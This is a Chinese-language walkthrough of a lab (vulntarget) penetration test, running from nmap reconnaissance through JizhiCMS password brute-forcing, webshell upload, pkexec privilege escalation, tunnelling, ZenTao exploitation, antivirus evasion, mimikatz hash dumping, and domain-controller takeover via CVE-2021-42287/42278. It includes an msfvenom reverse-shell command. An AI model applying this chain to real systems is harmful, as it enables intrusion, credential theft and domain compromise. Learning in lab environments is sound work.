关于靶场的搭建
这里可以参考官网的说明文档,官方微信公众号:星期五实验室。
信息收集
首先确定了边界主机的IP地址:192.168.0.104,之后利用nmap对其进行信息收集:
# nmap -sT -p- --min-rate 10000 192.168.0.104
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-03 15:42 CST
Nmap scan report for 192.168.0.104
Host is up (0.0013s latency).
Not shown: 65528 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
81/tcp open hosts2-ns
888/tcp open accessbuilder
3306/tcp open mysql
8888/tcp open sun-answerbook
MAC Address: 00:0C:29:58:E0:B6 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.21 seconds
发现开放的端口信息还是比较多的,21端口是FTP服务,有可能是存在匿名登录的,22端口是ssh,80,81,888以及8888端口上可能都是存在着web服务的,3306mysql服务的默认端口也对外开放了,不知道是不是存在弱口令等信息。
# nmap -sT -sC -sV -O -p21,22,80,81,888,3306,8888 192.168.0.104
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-03 15:43 CST
Nmap scan report for 192.168.0.104
Host is up (0.00040s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
| ssl-cert: Subject: commonName=125.122.127.185/organizationName=BT-PANEL/stateOrProvinceName=Guangdong/countryName=CN
| Not valid before: 2021-12-20T06:49:15
|_Not valid after: 2031-09-19T06:49:15
|_ssl-date: TLS randomness does not represent time
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 1b:0b:f2:25:18:99:fd:4d:c9:85:cf:e6:98:00:b9:05 (RSA)
| 256 7d:f8:b8:a2:81:d0:da:c1:26:34:ae:9d:9e:8f:36:a9 (ECDSA)
|_ 256 78:b3:f9:a8:4b:33:2f:15:2d:bd:d1:25:3a:f8:d5:5f (ED25519)
80/tcp open http nginx
|_http-title: \xE6\xB2\xA1\xE6\x9C\x89\xE6\x89\xBE\xE5\x88\xB0\xE7\xAB\x99\xE7\x82\xB9
81/tcp open http nginx
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: \xE6\x9E\x81\xE8\x87\xB4CMS\xE5\xBB\xBA\xE7\xAB\x99\xE7\xB3\xBB\xE7\xBB\x9F
| http-robots.txt: 7 disallowed entries
|_/A/ /Home/ /backup/ /cache/ /FrPHP/ /install/ /Conf/
888/tcp open http nginx
|_http-title: 403 Forbidden
3306/tcp open mysql MySQL (unauthorized)
8888/tcp open http nginx
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-favicon: OSS-Labs BT Panel
| http-robots.txt: 1 disallowed entry
|_/
| http-title: \xE5\xAE\x89\xE5\x85\xA8\xE5\x85\xA5\xE5\x8F\xA3\xE6\xA0\xA1\xE9\xAA\x8C\xE5\xA4\xB1\xE8\xB4\xA5
|_Requested resource was http://192.168.0.104:8888/login
MAC Address: 00:0C:29:58:E0:B6 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.9
Network Distance: 1 hop
对以上探测到的端口信息,进行对应的服务,操作系统等信息的探测,发现了8888、888、81、80端口都是存在web服务的!8888端口上是宝塔,其他似乎也没什么具体的有价值的信息,还是需要手动的去探测一下。接着利用nmap的默认漏洞脚本进行探测:
# nmap -sT --script=vuln -p21,22,80,81,888,3306,8888 192.168.0.104
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-03 15:44 CST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.0.104
Host is up (0.00083s latency).
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2011-3192:
| VULNERABLE:
| Apache byterange filter DoS
| State: VULNERABLE
| IDs: BID:49303 CVE:CVE-2011-3192
| The Apache web server is vulnerable to a denial of service attack when numerous
| overlapping byte ranges are requested.
| Disclosure date: 2011-08-19
| References:
| https://seclists.org/fulldisclosure/2011/Aug/175
| https://www.tenable.com/plugins/nessus/55976
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|_ https://www.securityfocus.com/bid/49303
81/tcp open hosts2-ns
888/tcp open accessbuilder
3306/tcp open mysql
8888/tcp open sun-answerbook
MAC Address: 00:0C:29:58:E0:B6 (VMware)
似乎nmap的默认漏洞脚本也没什么明显的能够利用的点。
外围打点-极致CMS后台文件上传
既然从信息收集的结果上来看,并没有什么能够直接上手利用的地方,因为我们就先看看21 3306端口上是不是存在相关的常见漏洞:
21端口上的FTP服务并不存在匿名登录:
再看一下3306端口上,是不是存在弱口令、空密码等信息呢?
似乎并不让我们登录。那就还是去看看web上是不是存在相关的利用点。
81端口上存在着一个极致CMS的站点,那就可以利用极致CMS的漏洞进行尝试了。先不着急,再看看其他的端口上是不是存在其他的服务呢?
似乎80端口上没有配置默认的路由信息,不能排除没有相关web服务在运行。
888端口上是403状态。再看一下8888端口,应该就是宝塔面板的信息:
总体上来看,突破点优先是极致CMS,也就是在81端口上。
点击登录,发现是404:
然后找到了后台的登录地址:http://192.168.0.104:81/admin.php/Login/index.html
发现验证码存在复用,同时当用户名输入正确,而密码输入错误的时候,会提示密码错误的信息:
那就可以使用bp等工具,进行密码的爆破:
最终成功的发现了密码是admin123
登陆成功之后,在后台发现存在文件上传漏洞:
这里进行抓包:
可以看到download_url参数,这个参数的值,是我们可控的,因此我们可以在攻击机上,构造一个php一句话木马,然后进行压缩成zip,之后在攻击机上起一个http服务,将生成到木马压缩包的地址,替换到download_url的值。需要多替换几个数据包,下载之后会自动的去解压这个文件。参考文章:[代码审计]极致CMS1.9.5存在文件上传漏洞_jeez极致 漏洞-CSDN博客
下载完成之后,访问:http://192.168.0.104:81/A/exts/shell.php
成功的getshell了。连接蚁剑,准备提权和上线:
上线了蚁剑,但是会发现bash首先了。尝试利用蚁剑的插件来绕过:
绕过成功。
提权
还得做一个提权。看了看网站的目录下面的文件,发现了配置文件:
后面换成了哥斯拉的木马:
因为我想看看数据库中都有些什么东西,哥斯拉比较方便~ 同时哥斯拉也是可以bypassdisablefunction的 结果数据库中没什么东西,但是通过查看/etc/passwd文件,发现存在一个活跃的用户!
没定时任务:
用户vulntarget是存在bash环境的!之后查看了suid权限,这里就发现了pkexec
尝试将exp传上去,进行执行,发现无法编译。后面有反弹了一个shell,然后上传linpeas提权脚本:
于是乎,开始尝试脏牛的提权:
但是都无法执行成功!这里就很难受了,于是继续尝试其他可能存在的漏洞,依然是不行,于是,我就上线到MSF:
生成MSF的木马:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.3 lport=9999 -f elf >shell.elf
MSF设置监听器:
监听之后,在蚁剑上执行木马:
收到会话之后,尝试使用msf的提权模块:
之后尝试使用第一个 pkexec的漏洞,这个很奇怪,没想到能成功,因为我手动的去尝试了这个漏洞是失败的!
成功~
上线成功之后,这里我也上线了CS,看到了该主机存在两张网卡:
然后就准备上传frp,进行隧道的搭建。这里先是上传了fscan,进行相关网段的信息收集:
fscan并没有探测到其他的主机信息,于是看了一下arp的缓存,看到了10.0.20.66这个主机!
搭建隧道
搭建好隧道,之后就进行测试一下:
没问题!进行内网的渗透了:
内网渗透
经过nmap的探测,发现了8080端口开放了:
挂上代理,进行访问,发现是禅道的系统! 发现首页的登录下面可以使用demo账号进行登录!
在右下角发现了禅道的版本信息! 12.4.2版本,网上发现该版本存在文件上传漏洞!
但是尝试漏洞利用的时候,发现一直利用不成功,权限太低了可能是,于是,尝试了两个弱口令,成功以admin的身份登录进来,账号是admin 密码是Admin123 ,前台的登录限制错误次数为3次。
这里我就直接使用了10.0.20.30 81端口上,曾经上传过的一句话木马:
禅道漏洞参考连接:禅道CMS文件上传漏洞(CNVD-C-2020-121325)_cnvd_2020_121325-CSDN博客
一定要注意的是:http需要大写之后,再进行base64编码!
最终下载的shell的地址为http://10.0.20.66:8080/data/client/1/shell.php
但是发现执行不了命令?感觉是被杀了,需要做免杀!这里出现了一个奇怪的问题,我先用了外网主机上最开始的木马,发现不行,后来上传了很多的免杀木马,都不行;包括在外网主机的网站根目录下面生成木马,然后去下载都不行。
于是在msf的会话中,重新写了一个木马,同时起一个http服务。结果可以了,好奇怪:
POST方式用不了,只能是request,很奇怪,这种方式我也试过,最开始一直不行。
下载之后,直接报500错误是正常的:
直接用蚁剑进行连接:
权限比较低:
内网信息收集
查看到该主机的网卡信息,存在两个网卡,也就意味着,还有第二层内网!查看防火墙信息:
防火墙都开了,再看看有没有杀软的信息:
存在火绒。需要做火绒的免杀来上线MSF了。
免杀上线MSF
查看了一下系统信息:
win10的系统,存在域vulntarget.com 先生成一个反向的msf马:
做一下免杀,利用蚁剑上传执行:
查看当前的用户:
利用msf进行提权
查看arp缓存表:
发现主机 10.0.10.100,之前看到了存在域环境,通过时间服务器来判断域控:
主机WIN-UH20PRD3EAO.vulntarget.com是时间服务器,通过ping命令去查看对应的IP地址:
发现10.0.10.100就是域控主机!先把防火墙关了:
加载mimikatz,dumphash:
没有发现明文,发现了win101的hash能够解密:
win101用户是域内的用户:
之后还在administrator的目录下面发现了一个flag文件,看来之前应该也是有flag的!没找:
之后上传了scaninfo,执行查看结果发现了扫描结果中存在着域控的密码:
到了这里的话,我又回去看了一下当前的win10主机是不是开放了3389端口,可以远程他了。既然上面已经拿到了密码!
没有开放3389端口,于是我给他打开了3389端口,远程连接。
这里有点点问题,一直无法连接到win10,隧道是没什么问题的,能访问10.0.20.66,这里截个图放在这里:(希望师傅们能帮助解决 为什么3389来连接不上这个问题)
拿下域控
拿域控的方式两种,首先就是上面用scaninfo能扫出来域控的账号和密码信息。还有一种方式是CVE-2021-42287/CVE-2021-42278
之后需要修改一下源码,否则可能导致结果乱码
之后利用代理执行脚本:
拿到了system权限:
之后创建一个新的用户,并且添加到域管理员组:
修改注册表,开启远程登陆:
防火墙放行3389端口!利用代理远程登录:因为上面也通过scaninfo拿到了administartor的密码,所以直接远程登陆了administrator,当然如果拿不到的话,就使用我们新建的用户远程登陆即可:
因为之前一直无法远程登录到win10机器上,于是我尝试利用域管的账号去登录,发现成功了:
不知道是不是因为win101的账号没有权限登录。还得请教一下师傅们,恳请师傅们解答。